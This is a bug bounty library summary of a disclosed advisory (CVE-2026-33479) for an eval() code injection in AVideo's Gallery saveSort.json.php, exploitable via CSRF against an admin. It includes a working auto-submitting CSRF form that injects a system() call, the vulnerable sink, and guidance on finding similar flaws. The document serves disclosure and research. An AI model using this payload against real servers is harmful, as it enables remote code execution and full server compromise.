# AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

AVideo Gallery saveSort.json.php passes unsanitized sections[] values into eval(); with SameSite=None cookies and no CSRF token, an admin visiting a malicious page yields RCE.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33479
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xggw-g9pm-9qhh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xggw-g9pm-9qhh
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:command-injection vuln:csrf vuln:rce

**Target:** PHP web app Gallery plugin endpoint saveSort.json.php
**Root cause:** User-controlled $_REQUEST['sections'] array values are interpolated directly into an eval() string with no allowlist or escaping, and the endpoint lacks CSRF token/Origin checks while session cookies are SameSite=None.
**Steps:**
1. Host HTML with auto-submitting form POSTing to `https://TARGET/plugin/Gallery/view/saveSort.json.php`
2. Include hidden input `sections[0]` with value `x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//`
3. Lure authenticated admin to the page; browser sends cross-site POST with session cookie due to SameSite=None
4. isAdmin() passes; eval executes `$object->x=1;system(...);//Order = 0;` running id;hostname
**How found:** Code review of Gallery plugin found eval() interpolating $_REQUEST['sections'] values; then noted SameSite=None cookie config and absence of CSRF token/Origin/Referer checks to build the CSRF chain.
**Exploitation:** Attacker hosts an auto-submitting form; admin visits it, cookie is attached cross-site (SameSite=None), isAdmin passes, injected PHP breaks out of property assignment and calls system() with base64-decoded command, output returned in JSON response.
**Escalation:** CSRF against admin session converts an admin-only eval sink into unauthenticated RCE; full server compromise, file/db access, backdoors.
**Insight:** Admin-gated eval sinks become unauthenticated when the app sets SameSite=None and skips CSRF tokens; grep for eval()/create_function in plugin JSON endpoints and check cookie SameSite config to weaponize via auto-submitting form.

## Proof of concept (copied exactly from the original report)

**CSRF HTML form injecting PHP into eval**

```
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
```

**Vulnerable eval() sink in saveSort.json.php**

```
if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
```